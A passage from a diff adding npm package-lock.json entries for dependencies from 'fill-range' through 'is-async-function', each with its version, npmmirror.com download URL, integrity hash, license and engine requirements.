"MIT", + "dependencies": { + "flat-cache": "^3.0.4" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/fill-range": { + "version": "7.1.1", + "resolved": "https://registry.npmmirror.com/fill-range/-/fill-range-7.1.1.tgz", + "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==", + "dev": true, + "license": "MIT", + "dependencies": { + "to-regex-range": "^5.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/find-up": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/find-up/-/find-up-5.0.0.tgz", + "integrity": "sha512-78/PXT1wlLLDgTzDs7sjq9hzz0vXD+zn+7wypEe4fXQxCmdmqfGsEPQxmiCSQI3ajFV91bVSsvNtrJRiW6nGng==", + "dev": true, + "license": "MIT", + "dependencies": { + "locate-path": "^6.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/flat-cache": { + "version": "3.2.0", + "resolved": "https://registry.npmmirror.com/flat-cache/-/flat-cache-3.2.0.tgz", + "integrity": "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==", + "dev": true, + "license": "MIT", + "dependencies": { + "flatted": "^3.2.9", + "keyv": "^4.5.3", + "rimraf": "^3.0.2" + }, + "engines": { + "node": "^10.12.0 || >=12.0.0" + } + }, + "node_modules/flatted": { + "version": "3.3.3", + "resolved": "https://registry.npmmirror.com/flatted/-/flatted-3.3.3.tgz", + "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==", + "dev": true, + "license": "ISC" + }, + "node_modules/follow-redirects": { + "version": "1.15.9", + "resolved": "https://registry.npmmirror.com/follow-redirects/-/follow-redirects-1.15.9.tgz", + "integrity": "sha512-gew4GsXizNgdoRyqmyfMHyAmXsZDk6mHkSxZFCzW9gwlbtOW44CDtYavM+y+72qD/Vq2l550kMF52DT8fOLJqQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/RubenVerborgh" + } + ], + "license": "MIT", + "engines": { + "node": ">=4.0" + }, + "peerDependenciesMeta": { + "debug": { + "optional": true + } + } + }, + "node_modules/for-each": { + "version": "0.3.5", + "resolved": "https://registry.npmmirror.com/for-each/-/for-each-0.3.5.tgz", + "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==", + "dev": true, + "license": "MIT", + "dependencies": { + "is-callable": "^1.2.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/foreground-child": { + "version": "3.3.1", + "resolved": "https://registry.npmmirror.com/foreground-child/-/foreground-child-3.3.1.tgz", + "integrity": "sha512-gIXjKqtFuWEgzFRJA9WCQeSJLZDjgJUOMCMzxtvFq/37KojM1BFGufqsCy0r4qSQmYLsZYMeyRqzIWOMup03sw==", + "dev": true, + "license": "ISC", + "dependencies": { + "cross-spawn": "^7.0.6", + "signal-exit": "^4.0.1" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/foreground-child/node_modules/signal-exit": { + "version": "4.1.0", + "resolved": "https://registry.npmmirror.com/signal-exit/-/signal-exit-4.1.0.tgz", + "integrity": "sha512-bzyZ1e88w9O1iNJbKnOlvYTrWPDl46O1bG0D3XInv+9tkPrxrN8jUUTiFlDkkmKWgn1M6CfIA13SuGqOa9Korw==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/forever-agent": { + "version": "0.6.1", + "resolved": "https://registry.npmmirror.com/forever-agent/-/forever-agent-0.6.1.tgz", + "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/form-data": { + "version": "4.0.2", + "resolved": "https://registry.npmmirror.com/form-data/-/form-data-4.0.2.tgz", + "integrity": "sha512-hGfm/slu0ZabnNt4oaRZ6uREyfCj6P4fT/n6A1rGV+Z0VdGXjfOhVUpkn6qVQONHGIFwmveGXyDs75+nr6FM8w==", + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.8", + "es-set-tostringtag": "^2.1.0", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/from": { + "version": "0.1.7", + "resolved": "https://registry.npmmirror.com/from/-/from-0.1.7.tgz", + "integrity": "sha512-twe20eF1OxVxp/ML/kq2p1uc6KvFK/+vs8WjEbeKmV2He22MKm7YF2ANIt+EOqhJ5L3K/SuuPhk0hWQDjOM23g==", + "dev": true, + "license": "MIT" + }, + "node_modules/fs-extra": { + "version": "9.1.0", + "resolved": "https://registry.npmmirror.com/fs-extra/-/fs-extra-9.1.0.tgz", + "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "at-least-node": "^1.0.0", + "graceful-fs": "^4.2.0", + "jsonfile": "^6.0.1", + "universalify": "^2.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/fs.realpath": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/fs.realpath/-/fs.realpath-1.0.0.tgz", + "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==", + "dev": true, + "license": "ISC" + }, + "node_modules/fsevents": { + "version": "2.3.3", + "resolved": "https://registry.npmmirror.com/fsevents/-/fsevents-2.3.3.tgz", + "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==", + "dev": true, + "hasInstallScript": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": "^8.16.0 || ^10.6.0 || >=11.0.0" + } + }, + "node_modules/function-bind": { + "version": "1.1.2", + "resolved": "https://registry.npmmirror.com/function-bind/-/function-bind-1.1.2.tgz", + "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==", + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/function.prototype.name": { + "version": "1.1.8", + "resolved": "https://registry.npmmirror.com/function.prototype.name/-/function.prototype.name-1.1.8.tgz", + "integrity": "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "define-properties": "^1.2.1", + "functions-have-names": "^1.2.3", + "hasown": "^2.0.2", + "is-callable": "^1.2.7" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/functions-have-names": { + "version": "1.2.3", + "resolved": "https://registry.npmmirror.com/functions-have-names/-/functions-have-names-1.2.3.tgz", + "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==", + "dev": true, + "license": "MIT", + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-func-name": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/get-func-name/-/get-func-name-2.0.2.tgz", + "integrity": "sha512-8vXOvuE167CtIc3OyItco7N/dpRtBbYOsPsXCz7X/PMnlGjYjSGuZJgM1Y7mmew7BKf9BqvLX2tnOVy1BBUsxQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/get-intrinsic": { + "version": "1.3.0", + "resolved": "https://registry.npmmirror.com/get-intrinsic/-/get-intrinsic-1.3.0.tgz", + "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==", + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "es-define-property": "^1.0.1", + "es-errors": "^1.3.0", + "es-object-atoms": "^1.1.1", + "function-bind": "^1.1.2", + "get-proto": "^1.0.1", + "gopd": "^1.2.0", + "has-symbols": "^1.1.0", + "hasown": "^2.0.2", + "math-intrinsics": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/get-proto": { + "version": "1.0.1", + "resolved": "https://registry.npmmirror.com/get-proto/-/get-proto-1.0.1.tgz", + "integrity": "sha512-sTSfBjoXBp89JvIKIefqw7U2CCebsc74kiY6awiGogKtoSGbgjYE/G/+l9sF3MWFPNc9IcoOC4ODfKHfxFmp0g==", + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.1", + "es-object-atoms": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/get-stream": { + "version": "5.2.0", + "resolved": "https://registry.npmmirror.com/get-stream/-/get-stream-5.2.0.tgz", + "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==", + "dev": true, + "license": "MIT", + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/get-symbol-description": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/get-symbol-description/-/get-symbol-description-1.1.0.tgz", + "integrity": "sha512-w9UMqWwJxHNOvoNzSJ2oPF5wvYcvP7jUvYzhp67yEhTi17ZDBBC1z9pTdGuzjD+EFIqLSYRweZjqfiPzQ06Ebg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/getos": { + "version": "3.2.1", + "resolved": "https://registry.npmmirror.com/getos/-/getos-3.2.1.tgz", + "integrity": "sha512-U56CfOK17OKgTVqozZjUKNdkfEv6jk5WISBJ8SHoagjE6L69zOwl3Z+O8myjY9MEW3i2HPWQBt/LTbCgcC973Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "async": "^3.2.0" + } + }, + "node_modules/getpass": { + "version": "0.1.7", + "resolved": "https://registry.npmmirror.com/getpass/-/getpass-0.1.7.tgz", + "integrity": "sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==", + "dev": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0" + } + }, + "node_modules/glob": { + "version": "10.4.5", + "resolved": "https://registry.npmmirror.com/glob/-/glob-10.4.5.tgz", + "integrity": "sha512-7Bv8RF0k6xjo7d4A/PxYLbUCfb6c+Vpd2/mB2yRDlew7Jb5hEXiCD9ibfO7wpk8i4sevK6DFny9h7EYbM3/sHg==", + "dev": true, + "license": "ISC", + "dependencies": { + "foreground-child": "^3.1.0", + "jackspeak": "^3.1.2", + "minimatch": "^9.0.4", + "minipass": "^7.1.2", + "package-json-from-dist": "^1.0.0", + "path-scurry": "^1.11.1" + }, + "bin": { + "glob": "dist/esm/bin.mjs" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/glob-parent": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/glob-parent/-/glob-parent-6.0.2.tgz", + "integrity": "sha512-XxwI8EOhVQgWp6iDL+3b0r86f4d6AX6zSU55HfB4ydCEuXLXc5FcYeOu+nnGftS4TEju/11rt4KJPTMgbfmv4A==", + "dev": true, + "license": "ISC", + "dependencies": { + "is-glob": "^4.0.3" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/glob/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/glob/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/global-dirs": { + "version": "3.0.1", + "resolved": "https://registry.npmmirror.com/global-dirs/-/global-dirs-3.0.1.tgz", + "integrity": "sha512-NBcGGFbBA9s1VzD41QXDG+3++t9Mn5t1FpLdhESY6oKY4gYTFpX4wO3sqGUa0Srjtbfj3szX0RnemmrVRUdULA==", + "dev": true, + "license": "MIT", + "dependencies": { + "ini": "2.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globals": { + "version": "13.24.0", + "resolved": "https://registry.npmmirror.com/globals/-/globals-13.24.0.tgz", + "integrity": "sha512-AhO5QUcj8llrbG09iWhPU2B204J1xnPeL8kQmVorSsy+Sjj1sk8gIyh6cUocGmH4L0UuhAJy+hJMRA4mgA4mFQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "type-fest": "^0.20.2" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/globalthis": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/globalthis/-/globalthis-1.0.4.tgz", + "integrity": "sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "define-properties": "^1.2.1", + "gopd": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/globby": { + "version": "11.1.0", + "resolved": "https://registry.npmmirror.com/globby/-/globby-11.1.0.tgz", + "integrity": "sha512-jhIXaOzy1sb8IyocaruWSn1TjmnBVs8Ayhcy83rmxNJ8q2uWKCAj3CnJY+KpGSXCueAPc0i05kVvVKtP1t9S3g==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-union": "^2.1.0", + "dir-glob": "^3.0.1", + "fast-glob": "^3.2.9", + "ignore": "^5.2.0", + "merge2": "^1.4.1", + "slash": "^3.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/gopd": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/gopd/-/gopd-1.2.0.tgz", + "integrity": "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/graceful-fs": { + "version": "4.2.11", + "resolved": "https://registry.npmmirror.com/graceful-fs/-/graceful-fs-4.2.11.tgz", + "integrity": "sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/graphemer": { + "version": "1.4.0", + "resolved": "https://registry.npmmirror.com/graphemer/-/graphemer-1.4.0.tgz", + "integrity": "sha512-EtKwoO6kxCL9WO5xipiHTZlSzBm7WLT627TqC/uVRd0HKmq8NXyebnNYxDoBi7wt8eTWrUrKXCOVaFq9x1kgag==", + "dev": true, + "license": "MIT" + }, + "node_modules/has-bigints": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/has-bigints/-/has-bigints-1.1.0.tgz", + "integrity": "sha512-R3pbpkcIqv2Pm3dUwgjclDRVmWpTJW2DcMzcIhEXEx1oh/CEMObMm3KLmRJOdvhM7o4uQBnwr8pzRK2sJWIqfg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/has-property-descriptors": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/has-property-descriptors/-/has-property-descriptors-1.0.2.tgz", + "integrity": "sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-define-property": "^1.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-proto": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/has-proto/-/has-proto-1.2.0.tgz", + "integrity": "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "dunder-proto": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-symbols": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/has-symbols/-/has-symbols-1.1.0.tgz", + "integrity": "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ==", + "license": "MIT", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/has-tostringtag": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/has-tostringtag/-/has-tostringtag-1.0.2.tgz", + "integrity": "sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==", + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.3" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/hasown": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/hasown/-/hasown-2.0.2.tgz", + "integrity": "sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==", + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/he": { + "version": "1.2.0", + "resolved": "https://registry.npmmirror.com/he/-/he-1.2.0.tgz", + "integrity": "sha512-F/1DnUGPopORZi0ni+CvrCgHQ5FyEAHRLSApuYWMmrbSwoN2Mn/7k+Gl38gJnR7yyDZk6WLXwiGod1JOWNDKGw==", + "dev": true, + "license": "MIT", + "bin": { + "he": "bin/he" + } + }, + "node_modules/hosted-git-info": { + "version": "2.8.9", + "resolved": "https://registry.npmmirror.com/hosted-git-info/-/hosted-git-info-2.8.9.tgz", + "integrity": "sha512-mxIDAb9Lsm6DoOJ7xH+5+X4y1LU/4Hi50L9C5sIswK3JzULS4bwk1FvjdBgvYR4bzT4tuUQiC15FE2f5HbLvYw==", + "dev": true, + "license": "ISC" + }, + "node_modules/html-encoding-sniffer": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/html-encoding-sniffer/-/html-encoding-sniffer-3.0.0.tgz", + "integrity": "sha512-oWv4T4yJ52iKrufjnyZPkrN0CH3QnrUqdB6In1g5Fe1mia8GmF36gnfNySxoZtxD5+NmYw1EElVXiBk93UeskA==", + "dev": true, + "license": "MIT", + "dependencies": { + "whatwg-encoding": "^2.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/http-proxy-agent": { + "version": "5.0.0", + "resolved": "https://registry.npmmirror.com/http-proxy-agent/-/http-proxy-agent-5.0.0.tgz", + "integrity": "sha512-n2hY8YdoRE1i7r6M0w9DIw5GgZN0G25P8zLCRQ8rjXtTU3vsNFBI/vWK/UIeE6g5MUUz6avwAPXmL6Fy9D/90w==", + "dev": true, + "license": "MIT", + "dependencies": { + "@tootallnate/once": "2", + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/http-signature": { + "version": "1.3.6", + "resolved": "https://registry.npmmirror.com/http-signature/-/http-signature-1.3.6.tgz", + "integrity": "sha512-3adrsD6zqo4GsTqtO7FyrejHNv+NgiIfAfv68+jVlFmSr9OGy7zrxONceFRLKvnnZA5jbxQBX1u9PpB6Wi32Gw==", + "dev": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0", + "jsprim": "^2.0.2", + "sshpk": "^1.14.1" + }, + "engines": { + "node": ">=0.10" + } + }, + "node_modules/https-proxy-agent": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/https-proxy-agent/-/https-proxy-agent-5.0.1.tgz", + "integrity": "sha512-dFcAjpTQFgoLMzC2VwU+C/CbS7uRL0lWmxDITmqm7C+7F0Odmj6s9l6alZc6AELXhrnggM2CeWSXHGOdX2YtwA==", + "dev": true, + "license": "MIT", + "dependencies": { + "agent-base": "6", + "debug": "4" + }, + "engines": { + "node": ">= 6" + } + }, + "node_modules/human-signals": { + "version": "1.1.1", + "resolved": "https://registry.npmmirror.com/human-signals/-/human-signals-1.1.1.tgz", + "integrity": "sha512-SEQu7vl8KjNL2eoGBLF3+wAjpsNfA9XMlXAYj/3EdaNfAlxKthD1xjEQfGOUhllCGGJVNY34bRr6lPINhNjyZw==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": ">=8.12.0" + } + }, + "node_modules/iconv-lite": { + "version": "0.6.3", + "resolved": "https://registry.npmmirror.com/iconv-lite/-/iconv-lite-0.6.3.tgz", + "integrity": "sha512-4fCk79wshMdzMp2rH06qWrJE4iolqLhCUH+OiuIgU++RB0+94NlDL81atO7GX55uUKueo0txHNtvEyI6D7WdMw==", + "dev": true, + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ieee754": { + "version": "1.2.1", + "resolved": "https://registry.npmmirror.com/ieee754/-/ieee754-1.2.1.tgz", + "integrity": "sha512-dcyqhDvX1C46lXZcVqCpK+FtMRQVdIMN6/Df5js2zouUsqG7I6sFxitIC+7KYK29KdXOLHdu9zL4sFnoVQnqaA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "BSD-3-Clause" + }, + "node_modules/ignore": { + "version": "5.3.2", + "resolved": "https://registry.npmmirror.com/ignore/-/ignore-5.3.2.tgz", + "integrity": "sha512-hsBTNUqQTDwkWtcdYI2i06Y/nUBEsNEDJKjWdigLvegy8kDuJAS8uRlpkkcQpyEXL0Z/pjDy5HBmMjRCJ2gq+g==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/import-fresh": { + "version": "3.3.1", + "resolved": "https://registry.npmmirror.com/import-fresh/-/import-fresh-3.3.1.tgz", + "integrity": "sha512-TR3KfrTZTYLPB6jUjfx6MF9WcWrHL9su5TObK4ZkYgBdWKPOFoSoQIdEuTuR82pmtxH2spWG9h6etwfr1pLBqQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "parent-module": "^1.0.0", + "resolve-from": "^4.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/imurmurhash": { + "version": "0.1.4", + "resolved": "https://registry.npmmirror.com/imurmurhash/-/imurmurhash-0.1.4.tgz", + "integrity": "sha512-JmXMZ6wuvDmLiHEml9ykzqO6lwFbof0GG4IkcGaENdCRDDmMVnny7s5HsIgHCbaq0w2MyPhDqkhTUgS2LU2PHA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/indent-string": { + "version": "4.0.0", + "resolved": "https://registry.npmmirror.com/indent-string/-/indent-string-4.0.0.tgz", + "integrity": "sha512-EdDDZu4A2OyIK7Lr/2zG+w5jmbuk1DVBnEwREQvBzspBJkCEbRa8GxU1lghYcaGJCnRWibjDXlq779X1/y5xwg==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/inflight": { + "version": "1.0.6", + "resolved": "https://registry.npmmirror.com/inflight/-/inflight-1.0.6.tgz", + "integrity": "sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==", + "deprecated": "This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful.", + "dev": true, + "license": "ISC", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/inherits": { + "version": "2.0.4", + "resolved": "https://registry.npmmirror.com/inherits/-/inherits-2.0.4.tgz", + "integrity": "sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==", + "dev": true, + "license": "ISC" + }, + "node_modules/ini": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/ini/-/ini-2.0.0.tgz", + "integrity": "sha512-7PnF4oN3CvZF23ADhA5wRaYEQpJ8qygSkbtTXWBeXWXmEVRXK+1ITciHWwHhsjv1TmW0MgacIv6hEi5pX5NQdA==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">=10" + } + }, + "node_modules/install": { + "version": "0.13.0", + "resolved": "https://registry.npmmirror.com/install/-/install-0.13.0.tgz", + "integrity": "sha512-zDml/jzr2PKU9I8J/xyZBQn8rPCAY//UOYNmR01XwNwyfhEWObo2SWfSl1+0tm1u6PhxLwDnfsT/6jB7OUxqFA==", + "license": "MIT", + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/internal-slot": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/internal-slot/-/internal-slot-1.1.0.tgz", + "integrity": "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw==", + "dev": true, + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "hasown": "^2.0.2", + "side-channel": "^1.1.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/is-array-buffer": { + "version": "3.0.5", + "resolved": "https://registry.npmmirror.com/is-array-buffer/-/is-array-buffer-3.0.5.tgz", + "integrity": "sha512-DDfANUiiG2wC1qawP66qlTugJeL5HyzMpfr8lLK+jMQirGzNod0B12cFB/9q838Ru27sBwfw78/rdoU7RERz6A==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.8", + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/is-arrayish": { + "version": "0.2.1", + "resolved": "https://registry.npmmirror.com/is-arrayish/-/is-arrayish-0.2.1.tgz", + "integrity": "sha512-zz06S8t0ozoDXMG+ube26zeCTNXcKIPJZJi8hBrF4idCLms4CG9QtK7qBl1boi5ODzFpjswb5JPmHCbMpjaYzg==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-async-function": { + "version": "2.1.1", + "resolved": "https://registry.npmmirror.com/is-async-function/-/is-async-function-2.1.1.tgz", + "integrity": 